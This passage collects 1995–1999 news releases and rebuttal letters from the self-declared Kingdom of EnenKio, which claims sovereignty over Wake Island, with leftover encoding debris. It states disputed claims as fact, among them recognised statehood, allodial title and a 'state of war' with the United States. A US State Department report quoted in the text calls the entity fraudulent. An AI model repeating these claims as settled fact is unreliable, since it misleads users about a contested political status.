personally retained by +Mr. Moore, who is also the adopted brother of Hermios. +Now, please understand, that while Mr. Moore was acting in the latter +case on his own behalf, and that of the future use and development of +Taongi, which would have generated an income to Iroijlaplap Hermios, Mr. +Moore wears another hat as Minister Plenipotentiary of the Kingdom of +EnenKio. Iroijlaplap Hermios, also wore (he died in December 10, 1998, +the same date of your article) other hats: one as First Monarch, King of +the Kingdom of EnenKio and one as owner in allodium of Eneen-Kio Atoll +(a.k.a. Enen-kio, Halcyon, Disclerta, Wake and several other names). +For you to state the Kingdom of EnenKio is "...another only-in- +cyberspace country...", as you did in the above article, is not only a +completely and categorically false statement, but it is a blatant sign +of ignorance of the state of EnenKio. And, it is a blatant deceptive +intrusion upon His Majesty King Hermios, the sovereign of EnenKio and +Eneen-Kio Atoll, and an inexplicable and irresponsible abuse of your +journalistic license -- unless, of course, your statement could be +proved accurate. +I suggest you do a little more research, not only into the establishment +and development of the Kingdom of EnenKio, but into the prehistoric +history and more recent U.S. invasion of Eneen-Kio Atoll, properly named +by 'Marshallese' centuries before arrival of colonial western powers and +missionaries. Then I invite you to our Embassy in Honolulu to review the +public files, all of which exist in hard copy (not 'cyberspace') and +most of which are referenced or published at our official web address: +Be sure to view the documents at our Resource Center which show, in many +cases, full-color digitized letters of correspondence with the 59 or so +states in the world, many of which are first world. In closing, I would +simply appeal to your presumed sense of morality and ethics and request +the referenced article be amended or corrected and that the link be +added to the relevant paragraph cited above in the article. +SKIP TO NEXT FILE =A0TOP OF PAGE +June 2, 1999- Sir: The following statement (in quotes) was copied from +one of your Footnotes to History -D and E (disconnected as of 12/1/00). +"Enenkio Atoll- In 1898, the United States annexed Wake Island, in the +Marshall Islands of the western Pacific. After the Marshalls became a +U.S. Trust Territory, the traditional chiefs of the area agitated for +recognition that Wake Island was a part of the Marianas chain, and +pressed their historical claims to the atoll, called Enenkio locally. +The U.S. government has consistently ignored these claims. The protests +took a sharper turn after the U.S. Congress in 1993 acknowledged the +illegality a hundred years earlier of the establishment by Americans of +the Republic of Hawai'i. King Murjel Hermios, who is paramount chief of +an archipelago in the northern Marshalls, declared Wake Island's +independence in 1987. The Marshalls recognized this claim shortly after +the nation gained its independence. In return for his services as +Minister Plenipotentiary in the United States, Hermios granted American +businessman Robert Moore land on Taongi Atoll in the northern Marshalls, +which Moore has declared the Dominion of Melchizedek." +Comment: With all candor, I cannot figure how such straight forward +facts such as we have presented to the public and over the Internet +since 1994 could have possibly been construed into the above referenced +text. While I am pleased to find you have apparently taken a very +serious interest (unless your site is intended as some twisted joke, +which I am assuming is not the case) in the history of the Kingdom of +EnenKio, I am aghast at how distorted, erroneous and misleading your +summary is. As a consequence of my service to His Majesty King Remios +and the people of EnenKio, I will respectfully offer the following line +by line correction. For your convenience, your text will be set off +(with "**") in color: +**In 1898, the United States annexed Wake Island, in the Marshall +Islands of the western Pacific.** +Correction: In 1898, the United States invaded Wake Island, the +northernmost atoll -- actually named Eneen-Kio centuries before western +explorers arrived -- of the Ratak chain of Marshall Islands in +Micronesia and the Central North Pacific Ocean. +The Author responds: "Rest assured that I did not mean to downplay the +role of violence in the American acquisition of the territory." +**After the Marshalls became a U.S. Trust Territory, the traditional +chiefs of the area agitated for recognition that Wake Island was a part +of the Marianas chain, and pressed their historical claims to the atoll, +called Enenkio locally.** +Correction: Following W.W.II, the Trust Territories of the Pacific, +which included the Marshall Islands, was placed under administration of +the United States by the United Nations. While Eneen-Kio was well +established as one of the Marshalls, the U.S. only knew it as Wake and, +having lost many U.S. lives there in 1941 at the hands of Japanese +invaders, kept control of it. In 1993, the Paramount Chief of the Ratak +atolls pressed his clan's historical and lawful claim to the 3 islands +of Eneen-Kio Atoll. +The Author responds: "I don't see much conflict between the two versions +here." +**The U.S. government has consistently ignored these claims.** +Correction: The U.S. government has consistently ignored claims from the +Marshall Islands government, which failed to exert a claim during its +move to independence in 1979, and from the former traditional +landowners, including Iroijlaplap Murjel Hermios. +The Author responds: "I will note this." +**The protests took a sharper turn after the U.S. Congress in 1993 +acknowledged the illegality a hundred years earlier of the establishment +by Americans of the Republic of Hawai'i.** +Correction: The Eneen-Kio claims gained some new momentum after +precedents were set by the U.S. Congress, when in 1993 they acknowledged +the illegality of the 1893 overthrow of the Monarch of the Kingdom of +Hawai'i by a group of American businessmen and U.S. Marines, and in the +following year returned the island of Kaho'olawe to the Hawaiian People. +**King Murjel Hermios, who is paramount chief of an archipelago in the +northern Marshalls, declared Wake Island's independence in 1987.** +Correction: King Murjel Hermios, who was Paramount Chief until his death +in December 1998, declared the sovereign state of EnenKio in 1994, +whereupon the people chose him as their King over Eneen-Kio Atoll, +ratified the Constitution and established government as a limited +constitutional monarchy. +The Author responds: "I will make the necessary corrections here." +**The Marshalls recognized this claim shortly after the nation gained +its independence. In return for his services as Minister Plenipotentiary +in the United States, Hermios granted American businessman Robert Moore +land on Taongi Atoll in the northern Marshalls, which Moore has declared +the Dominion of Melchizedek.** +Correction: After the death of the First Monarch, his brother Remios +succeeded to the throne as Second Monarch and rules along with his +brother, Crown Prince Lobadreo, over the Kingdom of EnenKio today. +To continue the commentary: The parts left out were either wrong or have +nothing to do with the history of the Kingdom of EnenKio itself. Since +HM King Remios also succeeded to Iroijlaplap of the northern Ratak +atolls of the Marshall Islands, he also has responsibilities over 10 +atolls, 2 islands and over 300 atoll islets. But that is another story, +which has nothing directly to do with the Kingdom of EnenKio. I have +offered this treatise in hopes that you will find the time to correct +your site per my suggestions. Please feel free to contact me or view our +pages at the address above. Thank you in advance for your attention and +interest in this matter. +The Author responds: "I imagine that you are asserting here that Moore's +Melchizedek project (which can be located on the web through the Sources +& Bibliography section of my web page) is non-existent. Be assured I +will look further into\par this. Thank you again for your response, +Captain Rydell. I should be posting a revised version of the page in the +next week or so." (June 7, 1999) +SKIP TO NEXT FILE =A0TOP OF PAGE +June 1, 1999: News Release +Part One Background: +On May 21, 1999, the Ministry of Foreign Affairs and Trade of the +Republic of the Marshall Islands posted a "press release" on the +Internet at: http://www.yokwe.net/mboard/newsinfo/thread.cgi?67,0\cf0 +(discontinued as of 12/1/00). The author, "Mr. Joseph Biglar, +Undersecretary", is not known to us, has not heretofore communicated +with the government of the Kingdom of EnenKio, nor with its Monarch, His +Majesty King Remios, at any time and has no knowledge of any policies or +state activities of EnenKio. There is no valid reason to assume that the +said "press release" is indeed an official document. +The Republic of the Marshall Islands has perfect knowledge that +representatives of the Kingdom of EnenKio, headed by His Majesty King +Remios, on the basis of his proper and lawful authority, have the right +and obligation to speak in support of the interests of certain persons, +many of whom happen to be Marshallese nationals residing in the Marshall +Islands. +Response to so-called "Press Release": +This unprovoked attack upon His Majesty King Remios, Monarch of the +Kingdom of EnenKio, by the Ministry of Foreign Affairs and Trade of the +Republic of the Marshall Islands is wholly false. It is also +unjustifiably inflammatory and amounts to little more than an +unquestionable confirmation of the predilection for infringement upon +Marshallese sovereign rights exercised by the current administration of +the Republic of the Marshall Islands, which has been confirmed by the +U.S. State Department. (See: Human Rights Report) +This public posting shall serve as constructive notice to the Marshall +Islands Government that any attempt to interfere in the business of His +Majesty King Remios, Iroijlaplap of the Northern Ratak atolls of the +Marshall Islands, or any acts, decisions, mandates, announcements or +directives thereby, shall be met with definitive responses equal to the +degrees of contravention. +The RMI is unequivocally cognizant that the Kingdom of EnenKio: +=C2=BB =C2=BB exists as a sovereign state as defined by the Montevideo +Convention (1933). +=C2=BB =C2=BB was conceived as a separate independent state by its +sovereign, +Iroijlaplap Murjel Hermios, in 1987. +=C2=BB =C2=BB was established by way of a public authority, the +Constitution +of the Kingdom of EnenKio Atoll, ratified in 1994 by its people. +=C2=BB =C2=BB has negotiated diplomatic and trade treaties with many +other +states, including the Dominion of Melchizedek +=C2=BB =C2=BB has asserted political and territorial jurisdiction over +islands +and seas which lie entirely outside and well beyond the area defined as +- now quoting Mr. Biglar's statement - "RMI geographical and political +boundaries." +=C2=BB =C2=BB exercises authorities founded upon prehistoric traditional +and +matriarchal ancestral rights and titles bestowed, under the sacred +heritage of Marshallese customary law (reinforced by the RMI +Constitution), upon the acknowledged Iroijlaplaps of the Northern Ratak +atolls, whose authority is certainly not subject to scrutiny by Ministry +of Foreign Affairs and Trade of the Republic of the Marshall Islands. +=C2=BB =C2=BB has not subjugated, assigned or encumbered any of its +political +jurisdiction within its defined territorial boundaries of islands and +seas of Eneen-Kio Atoll to the government or people of the Dominion of +Melchizedek or to any other entity, including the Republic of the +Marshall Islands. +Mr. Biglar is unequivocally cognizant that the Republic of the Marshall +Islands: +=C2=BB =C2=BB also exists as a sovereign state, defined by the +Montevideo +Convention (1933). +=C2=BB =C2=BB was conceived as a separate state by (UN) foreign +governments, +which included the United States, China and the USSR. +=C2=BB =C2=BB was also established under a public authority, the +Constitution +of the Marshall Islands, ratified in 1979 by its people. +=C2=BB =C2=BB has no relations with EnenKio that allows RMI knowledge of +anything that is not also public information and no such public +information respecting relations with the Dominion of Melchizedek has +ever been disseminated to harm the RMI to be condemned by Mr. Biglar. +=C2=BB =C2=BB has no political or territorial jurisdiction over the +islands +and seas of Eneen-Kio Atoll, which was not incorporated into the RMI in +1979, nor subsequently incorporated by any act, law or mandate of any +present or former Iroijlaplap or Monarch thereof and any statement to +the contrary is fraudulent, as in the instant matter. +=C2=BB =C2=BB exercises authorities founded upon the RMI Constitution, +which +does not incorporate nor authorize political jurisdiction over +territorial boundaries that include the islands or seas of Eneen-Kio +Atoll and any statement to the contrary is fraudulent, as in the instant +matter. +=C2=BB =C2=BB has refused to acknowledge the leadership of the Kingdom +of +EnenKio in their every attempt to get the RMI government to mitigate the +suffering of people residing in the Ratak atolls, under jurisdiction of +Iroijlaplap Hermios, and the RMI has rejected every suggestion to +coordinate prospective relief efforts through the said Iroijlaplap +Hermios. +The Ministry of Foreign Affairs and Trade of the Republic of the +Marshall Islands is steadfastly advised that any unilateral statements +or actions by the administration of the Republic of the Marshall Islands +which purport, seek or serve to diminish or question the credibility, +existence or authority of the government of the Kingdom of EnenKio in +the conduct of its affairs of state, without legitimate authentication +by a court of competent jurisdiction, are hereafter to be taken as +deliberate acts of aggression upon the Monarch of the Kingdom, His +Majesty King Remios, as Head of State, the government of the Kingdom of +EnenKio and its people, and will be countered with appropriate +responsive measures. +Furthermore, in light of the Ministry of Foreign Affairs and Trade of +the Republic of the Marshall Islands announcement concerning the Kingdom +of EnenKio, your attention is respectfully directed to the following +statement in the Preamble of the Constitution of the Marshall Islands, +then you decide for yourself: +"With this Constitution, we affirm our desire and right to live in peace +and harmony, subscribing to the principles of democracy, sharing the +aspirations of all other peoples for a free and peaceful world, and +striving to do all we can to assist in achieving this goal." +On behalf of His Majesty King Remios, we, administrators of the Kingdom +of EnenKio, have wholeheartedly agreed to pursue the same goal for a +free and peaceful world and have made no effort to the contrary. +(See also: Report on RMI Mismanagement) +SKIP TO NEXT FILE =A0TOP OF PAGE +News Release, Part Two, June 1, 1999 +Part Two Background: +The International Narcotics Control Strategy Report, 1998 (click on +reference # 2 below) released by the Bureau for International Narcotics +and Law Enforcement Affairs, U.S. Department of State, Washington DC, +February 1999, states as follows: +"Where Are OFCs Located? +[Paragraph 4] Thus, it is now possible for an enterprising jurisdiction +anywhere in the world to establish itself as an emerging OFC. The newest +OFCs, e.g., Niue and the Marshall Islands, are now sprouting in remote +areas of the world, such as the Pacific. Even more "remote" are mere +figments of fertile imaginations such as the Dominion of Malchizedek +(sic) or The Kingdom of Enenkio Atol (sic), both entirely fraudulent in +intent and practice." [note: OFC =3D Offshore Financial Center] +Response: +This unprovoked attack upon His Majesty King Remios, Monarch of the +Kingdom of EnenKio, the sovereign state of EnenKio and its noble +citizenry by the U.S. Department of State is a reprehensible +categorically false challenge of the sovereignty of the Kingdom of +EnenKio. It is also unjustifiably inflammatory and amounts to an +unqualified felonious defamation of the international reputation of His +Majesty King Remios, the government of the Kingdom of EnenKio and organs +thereof. +The unmitigated audacity and arrogance of the United States to attempt +to link the Kingdom of EnenKio with International Crime, narcotics +trafficking, money laundering, tax evasion, international drug cartels, +terrorists, bank fraud or any other sort of criminal activity, without +even one microscopic fragment of substantive evidence to corroborate +such deliberately nefarious statements is reprehensible in the least. +This public posting shall serve as constructive notice to the United +States Government that any attempt to interfere in the business of His +Majesty King Remios, Iroijlaplap of the Northern Ratak atolls of the +Marshall Islands, or any acts, decisions, mandates, announcements or +directives thereby, shall be met with definitive responses equal to the +degrees of contravention. +Furthermore, this matter will not be resolved until the President of the +United States issues a formal apology to His Majesty King Remios, along +with the government of the Kingdom of EnenKio, and the Congress of the +United States initiates a thorough investigation into the abuses of +power, subversion of natural rights and illegal occupation by the United +States of the islands and seas of Eneen-Kio Atoll. Congressional +representatives to Hawaii, the nearest State of the United States to +Eneen-Kio Atoll, and those of other states, have repeatedly been advised +of the foregoing atrocities and conditions and have failed to respond in +kind. The United States is obligated as the self-assured trustee of +Pacific Island States in Micronesia to respond to the charges of "ethnic +cleansing" and her responsibility to EnenKio is no less. +For further information and links to documents, see: +EnenKio Documents +http://www.state.gov/www/global/narcotics_law/1998_narc_report/ml_intro.h= +tml +http://www.state.gov/www/global/narcotics_law/1998_narc_report/index.html +March 16, 1999: News Release +The impact of the passing on December 10 of His Majesty Murjel Hermios, +First Monarch of the Kingdom of EnenKio, Iroijlaplap of the Northern +Ratak Atolls of the Marshall Islands, beloved husband and father, was +felt throughout the society.=C2=A0 Flags were flown at half mast for a +week +in the Marshalls and for a a month at EnenKio Consulates around the +world.=C2=A0 His remains were interred in a remote site reserved for the +highest ranking chiefs, according to Marshallese custom. +=C2=A0 +His Majesty King Remios Hermios +Second Monarch of the Kingdom of EnenKio +He was succeeded to the throne by his younger brother, Remios, who will +formally accept the staff of authority as Second Monarch, titular Head +of State of the Kingdom of EnenKio in ceremonies being planned.=C2=A0 +His +Majesty Remios Hermios was a retired educator in the Marshalls and +maintains a home in the Ratak Atolls. His successor is designated to be +his brother, HRH Crown Prince Lobadreo Hermios. +For further information, contact the State Secretary back on the home +page. +SKIP TO NEXT FILE =A0TOP OF PAGE +March 1999 -- Comments to readers from the Ministry of Foreign Affairs: +Subject: A "State of War" Declaration +The Kingdom of EnenKio recognizes that an unresolved conflict of +interests exists between it and the United States Government.=C2=A0 The +United States government, admittedly at a time of colonial expansionism, +appears to have violated the laws of nature and The Law of Nations in +"taking possession" of sovereign property in the Northern Ratak State, +which then had formal treaties with the Republic of Germany.=C2=A0 The +explicitly immoral and illegal 1899 seizure of Marshallese homeland by +agents of the federal government was the start of present day sentiments +of deprivation of rights and dispossession of lands felt by many +Marshallese.=C2=A0 Because of continual neglect misrepresentation and +outright exploitation, these scars on Marshallese society have not +healed. +Thus a current state of adversity exists.=C2=A0 Following four years of +attempts to cause the United States to evaluate the plight of the +Marshallese of the Northern Ratak imposed by its actions with respect to +Wake Island, the government of EnenKio, on behalf of the Marshallese +King, issued the "'State of War', a Declaration" and broadcast it to the +world.=C2=A0 The people were displaced from their native lands and kept +as +virtual prisoners of war, not by virtue of being kept in, but by virtue +of being kept out.=C2=A0 It was through this pragmatic initiative that +the +Kingdom of EnenKio solicited support to heal the wounds inflicted upon +the people and peacefully restore what was wrongfully taken from the +ancestors of the Ratak Paramount Chief, King Murjel Hermios. +In retrospect, the Declaration has had little visible effect.=C2=A0 +While a +state of adversity does exist, the hope for American recognition of past +wrongs remains on the horizon.=C2=A0 The Kingdom of EnenKio does not +condone nor tacitly sanction any act of belligerence by any person or +agent of any government.=C2=A0 Such unnecessary means would diminish any +hope of mutual reconciliation and could diplomatically undermine the +cause of peace within the family of nations.=C2=A0 The Kingdom of +EnenKio +also does not wish to see any further damage to the remnant happiness of +the Marshallese people. +While the Kingdom of EnenKio continues to seek accountability of the +U.S. Congress to obey its own laws, to conform to the UN Charter, +conventions of the United Nations relating to self-determination, +preservation of human rights and protection against human rights abuses, +it believes accountability requires the U.S. to meet the pleas of the +people oppressed by the conditions of this adversity.=C2=A0 The refusal +of +the U.S. to meet its obligations, even to the extent that a simple +discussion for resolution is held over the subject matter with +representatives for the affected parties, perpetuates the adversity, +turns a cold shoulder to the facts of abuse and ignores the rights of +the Marshallese people to whom the U.S. pledged in good faith to execute +the 1947 mandates of the United Nations and its members.=C2=A0 Your +understanding is appreciated.=C2=A0 +SKIP TO NEXT FILE =A0TOP OF PAGE +December 19, 1998: News Release +Subject: Death of the Monarch of the Kingdom of EnenKio +The government has declared a period of national mourning on the +occasion of the death of the first Monarch of the Kingdom of EnenKio, +His Majesty King Murjel Hermios. Embassies, missions and regional posts +are instructed to display the flag at half-staff until 11 January 1999. +Memorial services, held in the Marshall Islands where HM Hermios made +his home, mark the passing of one of the most unpretentious of +traditional Marshallese leaders. His remains will be interred in a +family plot on one of the outer islands he so loved. +Irooj Hermios was Head of State of the Kingdom of EnenKio, revered as +Monarch over the islands of Eneen-Kio Atoll, esteemed as Iroijlaplap and +High Chief of the Northern atolls of the Ratak Archipelago, beloved as +our brother and trusted as a friend. His successor as Iroijlaplap is to +be formally named by a Council of traditional leaders. Selection of a +successor to the Monarchy of the Kingdom is in process and will be +announced at a later date. In the interim, a Reagent will serve as Head +of State. +HM Hermios followed a long line of matriarchal predecessors as +Iroijlaplap. Aboriginal inhabitants of the islands today known as the +Marshalls, part of Micronesia in the North Pacific Ocean and first +discovered by European seamen in the 16th Century, were found to have a +well-developed societal structure. Many nations have since, mostly by +force, prevailed over the Marshall Islands, imposed unaccustomed western +ideals upon her populace and ravaged her islands of resources and +beauty. Today this area is commonly known as Wake atoll and is illegally +occupied by the federal government of the United States. +In one of the most courageous acts in recent times, Irooj Hermios +clearly understood he had a mission to succeed where his predecessors in +interest had failed to secure the islands, seas and lagoon of Eneen-Kio +Atoll for his beloved people. (The account of his acts to establish the +Kingdom of EnenKio as an island state, independent of the governments of +the Marshalls and the United States, may be researched at the official +Internet site. +On behalf of the government of the Kingdom of EnenKio, we are extremely +grateful for his dedication to the people of the Marshall Islands and +are personally moved by the memory of a man who will surely one day be +recognized as having a legacy of furthering the interests of his people +by the setting of processes in motion to re-establish Marshallese +domination over Eneen-Kio Atoll. We are saddened that our brother has +passed without his seeing the fruits of his devotion to Marshallese +ancestry and traditions. In lieu of flowers, mourners may contact the +mission at the address above or call (808) 373-9254. Sincerest best +wishes for the holiday season and the coming New Year are extended to +all in Peace. +News Article +SKIP TO NEXT FILE =A0TOP OF PAGE +July 14, 1998: Communiqu=C3=A9 to Correspondents +Recent articles defaming the government of the Kingdom of EnenKio have +been maliciously published under the guise of a Marshall Islands +government warning against "fraudulent claims". We have once more +admonished the writer of the articles in the Marshall Islands for +disregarding indisputable facts which clearly discredit his biased +report. We urge you to disregard all discourse in the media regarding +the Kingdom of EnenKio which are not validated. To that end, you are +cordially invited to contact this office with your specific questions or +concerns. For your advice, the following statement was issued by the +State Secretary of the Kingdom in reply: +The Kingdom has never knowingly made any fraudulent claim whatsoever. No +claim we have made has ever been shown to be fraudulent, nor has any +claim ever come under or faltered from a challenge by anyone anywhere in +the world. We are working vigorously to regain occupation of the +ancestral property of HM King Hermios, to resolve the virtual "state of +war" that exists with the United States government and to be accepted as +an honorable state among nations. +The Kingdom does not pretend to be (quoting from the report) "asserting +authority over land ...within the geographical and political +boundaries..." of the RMI. We are however striving to expel the armed +imperialistic invasion forces of the United States from the shores of +Eneen-Kio Atoll so natural Marshallese supremacy can be re-establish +there. As to allegations of fraud and constitutional violation, no one +has dared to come forward with any such a charge. We say, let the issue +be played out in the People's venue for the record, not in a libelous +weekly publication. While we do not wear our brief history on our +shirtsleeves, our raison d'=C3=AAtre is clearly mandated in the Preamble +to +the Constitution of EnenKio, which can be seen at our web site: +http://www.enenkio.wakeisland.org +Referencing the news article in the Marshall Islands Journal entitled +"Kingdom of EnenKio sets up in New Zealand," of May 1st, the editor was +advised, contrary to his report, that neither passports nor driver +licenses can be purchased from the Kingdom's web site. The Kingdom of +EnenKio DOES NOT SELL PASSPORTS! If you have evidence to the contrary, +our Foreign Ministry would appreciate your furnishing it to them so +steps can be taken immediately to investigate the matter. You are +advised if anyone sells or offers to sell an EnenKio passport, that such +an act is patently illegal. +The published statement, "The group ...claims to represent Iroijlaplap +Murjel Hermios and the atolls of the Ratak chain...", is wholly false. I +have explained this matter to the editor on several prior occasions and +ample information is available at our Internet site to refute the +statement. The Kingdom does not represent any area outside of its +territorial boundaries, as the Ratak atolls surely are. Contrary to +their libelous statements, the Kingdom of EnenKio was not "created" by +Robert Moore and he is not a "Honolulu-based attorney." +HM King Murjel Hermios is the acknowledged hereditary Iroijlaplap of the +northern Ratak atolls and is also First Monarch of the Kingdom, not of +his own choice, but by a legal process and free choice of our citizens +who participated in the founding of the nation in 1994. Such a noble and +peaceful beginning is not too uncommon in world history. "Enenkio" [sic] +(actually Enen-kio or Eneen-Kio, in reference to the atoll itself) is +the first Marshallese name for a Marshallese atoll located roughly 300 +miles north of Bok-ak (Taongi) Atoll. "Wake" is a fictitious moniker +applied to the re-discovered Eneen-Kio Atoll by unknown western society +writers. +SKIP TO NEXT FILE =A0TOP OF PAGE +May 4, 1997: News Release +Subject: Issuance of Gold Stamps +The government of the Kingdom of EnenKio proudly announces commissioning +of its Inaugural Issue of Gold Stamps. This announcement, made at the +First Sunday Hawaii Stamp, Coin and Postcard Show May 4th, was the first +pre-publication public notice of the issuance of Gold Stamps by the +Kingdom. Stamps are expected to be off the presses by early June 1997. +First day covers with new stamps affixed and postmarked official "First +Day of Issue" by the Kingdom will be available for a limited time +following the dates of release. Distributors, dealers and collectors are +encouraged sign up as a charter member of the EnenKio Philatelic Mint +mailing list. +BACKGROUND - The Kingdom was established in March 1993, and the +government was chosen by the people, who then ratified the constitution +in September 1994. However, due to U.S. military activities on the +island and the presence of armed occupation forces, the government of +the Kingdom lingers in "exile". Several nations have extended +recognition of the sovereignty of the Kingdom, documents of citizenship +are being issued and legations are located in Europe, South America, USA +and elsewhere. +A NATION IN CONFLICT - The land in question, commonly known as Wake +Island, is actually an atoll comprised of three small islands assigned +names of westerners who visited them: Wake, Wilkes and Peale. Few people +in the world today are aware that the native discoverers who named the +atoll Eneen-Kio lived in the Marshall Islands, exercised constant +jurisdiction and made regular use of it as a living food pantry and +cultural site. By way of developing the atoll as a nation, the +government is asserting that it is the indisputable holder of allodial +title to "Wake" atoll and has the right to exercise its sovereignty at +the will of the people. The United States of America began in a similar +fashion not with a peaceful transition from colonial status. Lawful +return of the land is grounded upon the legal precedent set by +Congressional apology to Hawaiians for the 1893 overthrow of the +Monarchy. +"STATE OF WAR" - By way of an official March 1997 Declaration sent to +top U.S. officials, the Kingdom of EnenKio has acknowledged that a +virtual "state of war" now exists over the islands on account of the +blatant acts of aggression and illegal armed invasions by troops from +United States warships. The primary objective of the notice was to +request a Congressional investigation into actual events and related +factors surrounding the federal seizure of islands in the North Pacific +Ocean by the United States. Calls to end U.S. operations, vacate the +atoll and negotiate return of the islands to jurisdiction of the Kingdom +have fallen on deaf ears. Despite repeated notices, letters and legal +advertising, all major news media have consistently ignored the events +and failed in their duty bring forth the truth to the people of the +world regarding alleged incidents of piracy, waste and human rights +violations by federal agents of the United States government. +INAUGURAL ISSUE - The Gold Stamps are based on events of the past and +dreams for the future of peace in the global community as the millennium +nears. For that reason, the universal gold standard was chosen as the +basis for evaluation. Since the relative value of gold in world markets +varies according to the value and stability of national currency units, +the stamps will similarly reflect changes in price when purchased with +any particular currency. However, the real or intrinsic value of the +stamps will remain as constant as gold. The extrinsic value will be +determined by philatelic collectors around the world. Note: Stamps are +printed on paper stock, do not contain gold metal and are not intended +for use as money. +CLOSING COMMENTS - The government of the Kingdom appeals to all people +from every peaceable nation in the world to recognize the Kingdom of +EnenKio as a sovereign nation promoting peace in the Pacific region. In +doing so, it seeks a peaceful resolution o f the "state of war" with the +federal government of the United States and asks that everyone with +human rights concerns use their influence accordingly. The proceeds from +the sale of Gold Stamps will help fund the restoration of the Kingdom +and end the conflict in peace. +SKIP TO NEXT FILE =A0TOP OF PAGE +March 31, 1997: News Release +An official document entitled A Declaration, was sent March 22 to top +Executive and Legislative officials in the federal government of the +United States, including selected Cabinet members. The document asserts +that: "A STATE OF WAR EXISTS OVER THE KINGDOM OF ENENKIO ATOLL BY WAY OF +ACTS BY THE FEDERAL GOVERNMENT OF THE UNITED STATES." This is the most +recent attempt to captivate the attention of the federal government. One +of the primary objectives of this action is to bring about a +Congressional investigation into the true events and factors surrounding +the illegal seizure of islands in the North Pacific Ocean by the United +States. +This latest position statement is one in a succession of dozens of +disclosures, statements, letters and legal actions taken since the +government of the Kingdom was established in March 1993, each with +similar objectives. Calls for the U.S. to cease operations, vacate the +premises, negotiate return of the island to the King, apologize and +compensate him for use, abuse and illegal hold-over following legal +action have all failed to receive cognizance or reply from the federal +government. Likewise, despite repeated notices, letters and legal +announcements, major news media have consistently ignored the events and +failed in their duty bring forth the truth to the people of the world +regarding the alleged piracy, arrogance and human rights violations by +the United States. +The land in question, commonly called Wake Island, is comprised of three +small islands, Wake, Wilkes and Peale, named by "Western explorers" for +Western persons. What of the native discoverers? The crux of the issue +is that despite the passage of ownership via a complex Matriarchal land +tenure system for over two millennia with jurisdiction by the aboriginal +chiefs of the Northern Ratak atolls of Marshall Islands, the United +States seems to believe it is justified in having seized the atoll in +1898, and again in1899. Historical records reveal that the multiple +landings by United States warships, en route to the Philippines on war +missions, and subsequent Congressional action, were the sole basis of +the U.S. claim. The motivation was said to be for the establishment of a +cable station to improve communications with its marauding troops in the +East. Such a station was never established at Wake Island. It was +destined to become a military installation. +However, formal protests of the seizure was sent to the U.S. President +by the German Consul in the Marshall Islands and some measure of +correspondence followed. But since the U.S. abandoned the area without +establishing a colony or cable station and Germany was defeated in the +first World War, the objections fell into oblivion. It is understood +from written accounts of oral Marshallese culture and traditions, that +jurisdiction and use of the atoll by natives continued. The U.S. did not +establish a settlement there until, under a lease in 1934, the CAA +(predecessor of the FAA) allowed Pan American Airways to build a base +for its fleet of trans-pacific seaplanes. Clearly, the so-called +annexation by the U.S. is grossly flawed, the occupation patently +illegal and its "ownership" is held therefore to be wholly invalid. +When the U.S. Congress apologized for the overthrow of the Hawaiian +Monarchy in 1993 and the U.S. Navy subsequently returned culturally +significant land to the "natives" of Hawaii, a landmark legal precedent +was thus set for comparable action with respect to the return of Wake +Island. The islands of Eneen-Kio, as the northernmost atoll in the Ratak +chain, played a very significant role in the culture and religion of +Micronesians living in the more "hospitable" islands of the Marshall +group. While not being used for Navy target practice as Kaho'olawe was, +the use of the islands of Eneen-Kio Atoll and the military mission at +Wake Airfield are decidedly without substantial merit and whereby +activities take place in secrecy, devoid of scrutiny, oversight or +quintessential knowledge by the American public. +Even after cultural intervention in the mid 1800s by Christian +Missionaries, natives continued to use Eneen-Kio, authority to go there +being issued by the Ratak Iroijlaplap (Paramount Chief). King Murjel +Hermios holds that title today. By way of developing the atoll in +sovereignty as a nation, the government is thereby indisputable holder +of the allodial title to Wake Island. The U.S. cannot produce a title. +The Hermios ancestral lineage, passage of title through the ages from +aboriginal inhabitants and discoverers, who gave the atoll its +Marshallese name, their continual use and legacy of jurisdiction secures +the rights of ownership. +Upon the basis of events and actions by the United States, the +administration of the Kingdom of EnenKio, by virtue of the Declaration, +"yields to the recognition that a State of War" exists over the island +nation. This is not, however, to be viewed as a waiver of rights or +unconditional surrender. Sovereignty and independence of the Kingdom, +over all other claims, is forthrightly reasserted. The belief is that +truth and law is on the side of the Kingdom and that reckless abuse of +power and a trail of human rights violations are chronicled upon the +record of U.S. "ownership" and occupation. Native North Americans are +all too well acquainted with this brand of federal brutality when it +comes to seizure of land and denial of rights. +In the Declaration, demands are made as follows: +=C2=BB =C2=BB "...to come to the table of peace to negotiate an +honorable +accord for the survivors of the said STATE OF WAR...". +=C2=BB =C2=BB "If unwilling to voluntarily negotiate for peace, to +submit to +Impartial international arbitration of the terms for surrender and WAR +reparations to citizens." +=C2=BB =C2=BB "...to cease and desist, effective immediately, all and +every +action of every kind in or on EnenKio Atoll or within the 200-mile +Exclusive Economic Zone..." +=C2=BB =C2=BB "...to pay that certain debt, perfected and established in +commerce by failure the Department of the Interior +=C2=BB =C2=BB "...to lawfully respond to proper legal notices of more +than +TWENTY-SEVEN consecutive months and most recently referenced by a +Certified Invoice, No. 97-US-03, dated March 10, 1997, for which it is +obligated to pay." +=C2=BB =C2=BB That the "...Congress of the United States is obliged to +immediately impanel an impartial body for the purpose of investigating +the atrocities committed in the case of the violations of human rights +and due process...". +The government of the Kingdom solicits every other sovereign peaceable +nation in the world to give effective and adequate recognition to the +Kingdom of EnenKio Atoll as an Independent Nation under God. It seeks a +peaceful resolution of the state of war with the federal government of +the United States and asks them to use their influence accordingly. +Appeals are being made to the United Nations. +News Article +SKIP TO NEXT FILE =A0TOP OF PAGE +February 6, 1995: News Release +On behalf of His Majesty, King Murjel Hermios, Monarch of EnenKio Atoll, +titular head of State, Paramount Chief (Iroijlaplap) of the northern +atolls of the Ratak archipelago of Pacific Ocean Islands of the Marshall +Islands, I bid you a warm Marshallese greeting -- Yokwe! +The purpose of this notice is twofold: First, to admonish those of you +to whom word of the referenced issues were made known, then failed to +take action; Second, to encourage you to whom this presents to take +appropriate action in disseminating reports on this issue. As long as +you remain quiet, safely removed from the potential controversy +insidiously lurking beneath the surface of one issue about which the +federal government of the United States remains resolutely silent, your +anonymity and that of your publication is well served. +Summary of Events 1993-94: +Two official press releases have been made regarding the establishment +of a new island nation in the Pacific Ocean, EnenKio, formerly known as +Wake Island. The first was issued on February 25, 1994. It followed two +announcements: 1) officials of the US Air Force at Hickam AFB, Hawaii +said in articles published New Year's Eve and Day in both Honolulu +newspapers that the USAF no longer wanted to maintain Wake Island +airfield and wanted to turn it over to Interior Department or another +military organization by 1 February and abandon it by 1 October, 1994; +2) US Army Space and Strategic 